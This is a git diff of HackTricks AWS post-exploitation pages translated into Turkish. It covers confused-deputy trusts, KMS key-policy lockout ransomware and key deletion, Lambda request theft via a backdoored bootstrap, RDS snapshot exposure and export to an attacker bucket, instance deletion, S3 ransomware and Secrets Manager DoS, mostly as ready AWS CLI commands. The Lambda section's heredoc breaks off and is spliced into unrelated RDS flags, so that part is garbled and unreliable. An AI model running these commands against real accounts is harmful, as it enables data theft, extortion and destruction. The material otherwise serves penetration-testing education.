hesabınızdaki bir **role** erişmesine **izin verirseniz**, muhtemelen **o dış hesabın** **kimler tarafından tam olarak erişilebileceği** konusunda **0 görünürlüğe** sahip olacaksınız. Bu bir problemdir, çünkü başka bir dış hesap (B) dış hesap (A)'ya erişebiliyorsa, **B'nin de sizin hesabınıza erişebilmesi mümkündür**. -Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. +Bu nedenle, bir dış hesabın hesabınızdaki bir role erişmesine izin verirken, bir `ExternalId` belirtmek mümkündür. Bu, dış hesabın (A) **rolü üstlenebilmesi için** **belirtmesi gereken** bir "gizli" dizedir. **Dış hesap B bu dizeyi bilmeyeceği için**, A'ya erişimi olsa bile, **rolünüze erişemeyecektir**.
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. - -Example: +Ancak, bu `ExternalId` "gizli" dizesinin **gerçek bir gizli bilgi olmadığını** unutmayın, IAM rol üstlenme politikasını **okuyabilen herkes bunu görebilir**. Ama dış hesap A bunu biliyorsa, ancak dış hesap **B bunu bilmiyorsa**, bu durum **B'nin A'yı kötüye kullanarak rolünüze erişmesini engeller**. +Örnek: ```json { - "Version": "2012-10-17", - "Statement": { - "Effect": "Allow", - "Principal": { - "AWS": "Example Corp's AWS Account ID" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "12345" - } - } - } +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} } ``` - > [!WARNING] -> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts. +> Bir saldırganın karışık bir delegeyi istismar etmesi için, mevcut hesabın ilkelerinin diğer hesaplarda rollerin taklit edilip edilemeyeceğini bir şekilde bulması gerekecektir. -### Unexpected Trusts - -#### Wildcard as principal +### Beklenmedik Güvenler +#### Wildcard olarak ilke ```json { - "Action": "sts:AssumeRole", - "Effect": "Allow", - "Principal": { "AWS": "*" } +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } } ``` +Bu politika **tüm AWS**'nin rolü üstlenmesine izin verir. -This policy **allows all AWS** to assume the role. - -#### Service as principal - +#### Hizmet ana olarak ```json { - "Action": "lambda:InvokeFunction", - "Effect": "Allow", - "Principal": { "Service": "apigateway.amazonaws.com" }, - "Resource": "arn:aws:lambda:000000000000:function:foo" +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" } ``` +Bu politika **herhangi bir hesabın** bu Lambda'yı çağırmak için apigateway'ini yapılandırmasına izin verir. -This policy **allows any account** to configure their apigateway to call this Lambda. - -#### S3 as principal - +#### S3 ana olarak ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, - "StringEquals": { - "aws:SourceAccount": "123456789012" - } +"StringEquals": { +"aws:SourceAccount": "123456789012" +} } ``` +Eğer bir S3 bucket bir principal olarak verilirse, çünkü S3 bucket'ların bir Account ID'si yoktur, eğer **bucket'ınızı silerseniz ve saldırgan kendi hesabında oluşturursa**, bunu kötüye kullanabilirler. -If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this. - -#### Not supported - +#### Desteklenmiyor ```json { - "Effect": "Allow", - "Principal": { "Service": "cloudtrail.amazonaws.com" }, - "Action": "s3:PutObject", - "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` - -A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). +Confused Deputy problemlerinden kaçınmanın yaygın bir yolu, köken ARN'sini kontrol etmek için `AWS:SourceArn` ile bir koşul kullanmaktır. Ancak, **bazı hizmetler bunu desteklemeyebilir** (bazı kaynaklara göre CloudTrail gibi). ## References - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 482af5425..5a706421b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -1,137 +1,125 @@ -# AWS - KMS Post Exploitation +# AWS - KMS Sonrası Sömürü {{#include ../../../banners/hacktricks-training.md}} ## KMS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt information +### Bilgileri Şifrele/Şifre Çöz -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: +`fileb://` ve `file://` AWS CLI komutlarında yerel dosyaların yolunu belirtmek için kullanılan URI şemalarıdır: -- `fileb://:` Reads the file in binary mode, commonly used for non-text files. -- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements. +- `fileb://:` Dosyayı ikili modda okur, genellikle metin dışı dosyalar için kullanılır. +- `file://:` Dosyayı metin modunda okur, tipik olarak düz metin dosyaları, betikler veya özel kodlama gereksinimleri olmayan JSON için kullanılır. > [!TIP] -> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://) - -- Using a **symmetric** key +> Bir dosya içindeki verileri şifre çözmek istiyorsanız, dosyanın ikili verileri içermesi gerektiğini unutmayın, base64 kodlu veriler değil. (fileb://) +- **Simetrik** anahtar kullanarak ```bash # Encrypt data aws kms encrypt \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - -- Using a **asymmetric** key: - +- **Asimetrik** bir anahtar kullanma: ```bash # Encrypt data aws kms encrypt \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - ### KMS Ransomware -An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account. +KMS üzerinde ayrıcalıklı erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve **kendi hesabına erişim verebilir**, meşru hesaba verilen erişimi kaldırarak. -Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account. +Böylece, meşru hesap kullanıcıları bu anahtarlarla şifrelenmiş herhangi bir hizmetin bilgilerine erişemeyecek, bu da hesap üzerinde kolay ama etkili bir ransomware oluşturacaktır. > [!WARNING] -> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. - -> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI). +> **AWS yönetilen anahtarların** bu saldırıdan etkilenmediğini unutmayın, sadece **Müşteri yönetilen anahtarlar** etkilenmektedir. +> Ayrıca, **`--bypass-policy-lockout-safety-check`** parametresinin kullanılma gereğini unutmayın (web konsolundaki bu seçeneğin eksikliği, bu saldırının yalnızca CLI üzerinden mümkün olmasını sağlar). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ - --policy-name default \ - --policy file:///tmp/policy.yaml \ - --bypass-policy-lockout-safety-check +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check { - "Id": "key-consolepolicy-3", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - > [!CAUTION] -> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**. +> Dikkat edin ki, bu politikayı değiştirir ve yalnızca bir dış hesaba erişim verirseniz, ardından bu dış hesaptan **erişimi orijinal hesaba geri vermek için yeni bir politika ayarlamaya çalışırsanız, bunu yapamazsınız**.
-### Generic KMS Ransomware +### Genel KMS Fidye Yazılımı -#### Global KMS Ransomware +#### Küresel KMS Fidye Yazılımı -There is another way to perform a global KMS Ransomware, which would involve the following steps: +Küresel KMS Fidye Yazılımı gerçekleştirmek için başka bir yol vardır, bu aşağıdaki adımları içerecektir: -- Create a new **key with a key material** imported by the attacker -- **Re-encrypt older data** encrypted with the previous version with the new one. -- **Delete the KMS key** -- Now only the attacker, who has the original key material could be able to decrypt the encrypted data - -### Destroy keys +- Saldırgan tarafından içe aktarılan **anahtar materyali ile yeni bir anahtar oluşturun** +- **Eski verileri** yeni anahtar ile yeniden şifreleyin. +- **KMS anahtarını silin** +- Artık yalnızca orijinal anahtar materyaline sahip olan saldırgan, şifrelenmiş verileri çözebilir. +### Anahtarları Yok Et ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ - --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ - --pending-window-in-days 7 +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 ``` - > [!CAUTION] -> Note that AWS now **prevents the previous actions from being performed from a cross account:** +> AWS'nin artık **önceki eylemlerin bir çapraz hesap üzerinden gerçekleştirilmesini engellediğini** unutmayın:
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 5f25c205a..cf2af04fa 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,30 +4,26 @@ ## Lambda -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Steal Others Lambda URL Requests +### Başkalarının Lambda URL İsteklerini Çalmak -If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them. +Eğer bir saldırgan bir şekilde Lambda içinde RCE elde ederse, diğer kullanıcıların lambda'ya yaptığı HTTP isteklerini çalabilir. Eğer istekler hassas bilgiler (çerezler, kimlik bilgileri...) içeriyorsa, bunları çalabilir. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### Başkalarının Lambda URL İsteklerini ve Uzantı İsteklerini Çalmak -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Lambda Katmanlarını kötüye kullanarak, uzantıları kötüye kullanmak ve lambda'da kalıcı olmak mümkün olduğu gibi, istekleri çalmak ve değiştirmek de mümkündür. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index bc93fe53a..ad29f90aa 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -1,42 +1,41 @@ -# AWS - Steal Lambda Requests +# AWS - Lambda İsteklerini Çal {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Flow +## Lambda Akışı

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process. -2. The init process listens on port **9001** exposing some interesting endpoints: - - **`/2018-06-01/runtime/invocation/next`** – get the next invocation event - - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke - - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error -3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**). -4. Finally, **bootstrap.py** sends to init the **response** +1. **Slicer**, **init** sürecine **çağrılar** gönderen konteyner dışındaki bir süreçtir. +2. Init süreci, bazı ilginç uç noktaları açığa çıkaran **9001** numaralı portta dinler: +- **`/2018-06-01/runtime/invocation/next`** – bir sonraki çağrı olayını al +- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – çağrı için işleyici yanıtını döndür +- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – bir yürütme hatası döndür +3. **bootstrap.py**, init sürecinden çağrıları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (**`/next`**). +4. Son olarak, **bootstrap.py** init'e **yanıtı** gönderir. -Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process. +Bootstrap'ın kullanıcı kodunu bir modül olarak yüklediğini unutmayın, bu nedenle kullanıcı kodu tarafından gerçekleştirilen herhangi bir kod yürütmesi aslında bu süreçte gerçekleşmektedir. -## Stealing Lambda Requests +## Lambda İsteklerini Çalmak -The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process. +Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen **`bootstrap.py`** süreci içinde kötü niyetli bir **`bootstrap.py`** süreci çalıştırmasını sağlamaktır. Bu şekilde, **kötü niyetli bootstrap** süreci, istekleri işlemek için **init süreciyle** **iletişim kurmaya** başlayacakken, **meşru** bootstrap **tuzağa düşmüş** olarak kötü niyetli olanı çalıştıracak, böylece init sürecine istek istemeyecek. -This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could: +Bu, kullanıcı kodunun meşru **`bootstrap.py`** süreci tarafından yürütüldüğü için basit bir görevdir. Böylece saldırgan: -- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations. - - A request must be sent to **`/${invoke-id}/response`** - - The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). -- Execute a malicious **`boostrap.py`** which will handle the next invocations - - For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual. - - For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation. +- **Mevcut çağrının sahte bir sonucunu init sürecine gönderebilir**, böylece init bootstrap sürecinin daha fazla çağrı beklediğini düşünebilir. +- **`/${invoke-id}/response`** adresine bir istek gönderilmelidir. +- Invoke-id, meşru **`bootstrap.py`** sürecinin yığınından [**inspect**](https://docs.python.org/3/library/inspect.html) python modülünü kullanarak elde edilebilir (burada [önerildiği gibi](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) veya sadece tekrar **`/2018-06-01/runtime/invocation/next`** adresine istekte bulunarak elde edilebilir (burada [önerildiği gibi](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). +- Bir sonraki çağrıları yönetecek kötü niyetli bir **`boostrap.py`** çalıştırın. +- Gizlilik amacıyla, lambda çağrı parametrelerini saldırganın kontrolündeki bir C2'ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür. +- Bu saldırı için, **`bootstrap.py`**'nin orijinal kodunu sistemden veya [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda çağrısından çalıştırmak yeterlidir. -### Attack Steps +### Saldırı Adımları -1. Find a **RCE** vulnerability. -2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) -3. **Execute** the malicious bootstrap. - -You can easily perform these actions running: +1. Bir **RCE** açığı bulun. +2. **Kötü niyetli** bir **bootstrap** oluşturun (örneğin, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)). +3. **Kötü niyetli bootstrap'ı** **çalıştırın**. +Bu eylemleri kolayca gerçekleştirebilirsiniz: ```bash python3 < \ - --db-subnet-group-name \ - --publicly-accessible \ - --vpc-security-group-ids +--db-instance-identifier "new-db-not-malicious" \ +--db-snapshot-identifier \ +--db-subnet-group-name \ +--publicly-accessible \ +--vpc-security-group-ids aws rds modify-db-instance \ - --db-instance-identifier "new-db-not-malicious" \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier "new-db-not-malicious" \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # Connect to the new DB after a few mins ``` - ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot. - -If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**. +Bu izinlere sahip bir saldırgan **bir DB'nin anlık görüntüsünü oluşturabilir** ve bunu **herkese açık** **hale** getirebilir. Ardından, bu anlık görüntüden kendi hesabında bir DB oluşturabilir. +Eğer saldırgan **`rds:CreateDBSnapshot`** iznine sahip değilse, yine de **diğer** oluşturulmuş anlık görüntüleri **herkese açık** hale getirebilir. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier --d aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"} ``` - ### `rds:DownloadDBLogFilePortion` -An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions. - +`rds:DownloadDBLogFilePortion` iznine sahip bir saldırgan, **bir RDS örneğinin günlük dosyalarının kısımlarını indirebilir**. Hassas veriler veya erişim kimlik bilgileri yanlışlıkla kaydedilirse, saldırgan bu bilgileri yetkilerini artırmak veya yetkisiz eylemler gerçekleştirmek için kullanabilir. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` - -**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials. +**Olası Etki**: Sızdırılmış kimlik bilgileri kullanarak hassas bilgilere erişim veya yetkisiz işlemler. ### `rds:DeleteDBInstance` -An attacker with these permissions can **DoS existing RDS instances**. - +Bu izinlere sahip bir saldırgan **mevcut RDS örneklerini DoS yapabilir**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` - -**Potential impact**: Deletion of existing RDS instances, and potential loss of data. +**Olası etki**: Mevcut RDS örneklerinin silinmesi ve potansiyel veri kaybı. ### `rds:StartExportTask` > [!NOTE] > TODO: Test -An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot. - +Bu izne sahip bir saldırgan, **bir RDS örneği anlık görüntüsünü bir S3 kovasına dışa aktarabilir**. Saldırgan, hedef S3 kovası üzerinde kontrol sahibi ise, dışa aktarılan anlık görüntüdeki hassas verilere erişebilir. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` - -**Potential impact**: Access to sensitive data in the exported snapshot. +**Olası etki**: Dışa aktarılan anlık görüntüdeki hassas verilere erişim. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 16cc52f27..c07f054d2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -4,39 +4,35 @@ ## S3 -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Sensitive Information +### Hassas Bilgiler -Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets. +Bazen, kovalar içinde okunabilir hassas bilgiler bulabilirsiniz. Örneğin, terraform durum gizli anahtarları. -### Pivoting +### Pivotlama -Different platforms could be using S3 to store sensitive assets.\ -For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files. +Farklı platformlar, hassas varlıkları depolamak için S3 kullanıyor olabilir.\ +Örneğin, **airflow** burada **DAG'ların** **kodunu** depoluyor olabilir veya **web sayfaları** doğrudan S3'ten sunulabilir. Yazma izinlerine sahip bir saldırgan, **kodunu** kovadan **değiştirerek** diğer platformlara **pivot** yapabilir veya JS dosyalarını değiştirerek **hesapları ele geçirebilir**. -### S3 Ransomware +### S3 Fidye Yazılımı -In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. +Bu senaryoda, **saldırgan kendi AWS hesabında veya başka bir ele geçirilmiş hesapta bir KMS (Anahtar Yönetim Servisi) anahtarı oluşturur**. Daha sonra bu **anahtarı dünyanın her yerinden erişilebilir hale getirir**, böylece herhangi bir AWS kullanıcısı, rolü veya hesabı bu anahtarı kullanarak nesneleri şifreleyebilir. Ancak, nesneler çözülemez. -The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more. +Saldırgan, bir hedef **S3 kovasını belirler ve buna yazma düzeyinde erişim kazanır**. Bu, kamuya açık bir şekilde maruz kalan kötü yapılandırılmış bir kova veya saldırganın AWS ortamına erişim kazanması nedeniyle olabilir. Saldırgan genellikle kişisel olarak tanımlanabilir bilgiler (PII), korunan sağlık bilgileri (PHI), günlükler, yedekler ve daha fazlasını içeren hassas bilgiler barındıran kovaları hedef alır. -To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket. +Kovanın fidye yazılımı için hedeflenip hedeflenemeyeceğini belirlemek için, saldırgan yapılandırmasını kontrol eder. Bu, **S3 Nesne Sürümleme** özelliğinin etkin olup olmadığını ve **çok faktörlü kimlik doğrulama silme (MFA silme) özelliğinin etkin olup olmadığını** doğrulamayı içerir. Nesne Sürümleme etkin değilse, saldırgan devam edebilir. Nesne Sürümleme etkin ancak MFA silme devre dışıysa, saldırgan **Nesne Sürümlemeyi devre dışı bırakabilir**. Hem Nesne Sürümleme hem de MFA silme etkinse, saldırganın o belirli kovayı fidye yazılımı ile hedef alması daha zor hale gelir. -Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key. +AWS API'sini kullanarak, saldırgan **kovadaki her nesneyi kendi KMS anahtarını kullanarak şifrelenmiş bir kopya ile değiştirir**. Bu, kovadaki verileri etkili bir şekilde şifreler ve anahtar olmadan erişilemez hale getirir. -To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost. +Daha fazla baskı eklemek için, saldırgan saldırıda kullanılan KMS anahtarının silinmesini planlar. Bu, hedefe anahtar silinmeden önce verilerini kurtarması için 7 günlük bir süre tanır ve veriler kalıcı olarak kaybolur. -Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack. +Son olarak, saldırgan genellikle "ransom-note.txt" olarak adlandırılan son bir dosya yükleyebilir; bu dosya, hedefe dosyalarını nasıl geri alacağına dair talimatlar içerir. Bu dosya, muhtemelen hedefin dikkatini çekmek ve fidye yazılımı saldırısından haberdar etmek için şifrelenmeden yüklenir. -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**Daha fazla bilgi için** [**orijinal araştırmayı kontrol edin**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index e59cbbaaa..a4a78fe07 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -4,50 +4,40 @@ ## Secrets Manager -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Read Secrets +### Gizli Bilgileri Okuma -The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them. +**gizli bilgiler kendileri hassas bilgilerdir**, [onları nasıl okuyacağınızı öğrenmek için privesc sayfasını kontrol edin](../aws-privilege-escalation/aws-secrets-manager-privesc.md). -### DoS Change Secret Value +### DoS Gizli Değerini Değiştirme -Changing the value of the secret you could **DoS all the system that depends on that value.** +Gizli değeri değiştirerek, **o değere bağlı olan tüm sistemleri DoS yapabilirsiniz.** > [!WARNING] -> Note that previous values are also stored, so it's easy to just go back to the previous value. - +> Önceki değerlerin de saklandığını unutmayın, bu nedenle önceki değere geri dönmek kolaydır. ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ - --secret-id MyTestSecret \ - --secret-string 